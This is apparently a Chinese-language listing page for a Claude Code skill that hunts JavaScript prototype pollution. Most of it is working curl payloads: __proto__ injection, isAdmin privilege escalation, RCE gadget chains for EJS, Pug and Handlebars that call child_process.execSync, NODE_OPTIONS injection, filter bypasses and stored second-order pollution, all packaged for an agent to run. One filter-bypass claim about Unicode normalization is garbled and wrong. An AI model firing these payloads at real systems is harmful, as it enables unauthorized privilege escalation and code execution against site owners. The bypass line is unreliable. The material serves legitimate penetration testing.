关于 hunt-prototype-pollution
hunt-prototype-pollution 是用于查找 JavaScript 原型污染的安全测试技能,面向应用安全研究人员。内容涵盖客户端与服务端攻击路径、结果验证,以及可能通向 XSS、越权或代码执行的利用链。
主要功能
- 01探测客户端污染路径
- 02测试服务端对象合并
- 03检查模板与进程利用点
- 04评估过滤绕过方法
- 05验证影响与利用链
适用场景
- 01测试合并用户输入的 JavaScript 应用
- 02检查污染是否到达模板或进程调用点
- 03验证 DOM XSS 或越权影响
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-prototype-pollution安装后在 Claude Code 中输入/hunt-prototype-pollution确认已加载。
详细介绍
原型污染探测
探测用户提供的属性合并到 Object.prototype 中的原型污染漏洞,从而影响运行时中的所有对象。客户端污染可能导致 DOM XSS、Cookie 操纵和身份验证绕过。服务端污染则可通过模板引擎(EJS、Pug、Handlebars)和 CLI 封装程序(child_process、NODE_OPTIONS)中的 gadget 链,进一步导致 RCE。
使用场景
- 应用使用 JavaScript/Node.js,在用户输入上执行对象合并、克隆或扩展操作。
- 对不可信数据使用 jQuery
$.extend(true, ...)或$.fn.merge()进行深拷贝。 - Lodash
_.merge()、_.defaultsDeep()、_.set()接收请求正文或查询参数。 - 同一运行时中的模板引擎(EJS、Pug、Handlebars)会处理用户可控对象。
- 服务端 Node.js 可通过被污染的选项访问
child_process.exec/spawn。
快速检测
# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"
# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
流程
阶段 1 — 客户端污染向量
# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted
# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"polluted":"yes"}}'
# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
-d '__proto__[polluted]=true'
# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"isAdmin":true}}}'
阶段 2 — 通过 gadget 链实现服务端 RCE
EJS RCE(outputFunctionName):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'
Pug RCE(self.block):
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
Handlebars RCE(compileFunction):
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'
注入 NODE_OPTIONS:
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'
阶段 3 — 绕过过滤的技巧
# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1 # blocked
https://target.com/?__pröto__[test]=1 # bypass (ä normalizes to a)
# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"constructor":{"prototype":{"polluted":true}}}'
# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-d '{"__proto__":{"polluted":[]}}' # forces array coercion
# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"
阶段 4 — 客户端利用
// Verify pollution in browser console
Object.prototype.polluted // should return the injected value
// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}
// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnProperty
阶段 5 — 二阶污染
# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{"name":{"__proto__":{"isAdmin":true}}}'
# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that context
常见问题
- 请求中出现
__proto__并不一定意味着发现了漏洞。 只有被污染的属性实际影响应用行为时,才应报告。 - Node.js 12+ 和较新版本的 lodash 有部分缓解措施。 请先使用较旧版本进行测试。
- 服务端污染需要 gadget。 如果污染的对象无法到达接收点(exec、eval、模板),就不会造成影响。
- BlackFan 的客户端原型污染目录是权威参考资料;请对照它核查发现。
验证
- 注入
__proto__[test]=value,并在浏览器控制台或服务端响应中确认Object.prototype.test === value。 - 对于 RCE:确认命令执行会在可见接收点中产生输出(id/whoami)。
- 对于 XSS:确认被污染的属性会到达
innerHTML、eval、document.write或脚本的src属性。 - 记录具体的合并/复制函数和被污染的属性链。
相关技能
hunt-nodejs— Node.js 特有的漏洞,包括 Express/Next.js 中的原型污染。hunt-xss— DOM XSS 通常可通过客户端原型污染利用。hunt-api-misconfig— 合并请求正文中的对象时未检查hasOwnProperty。
评论
支持 Markdown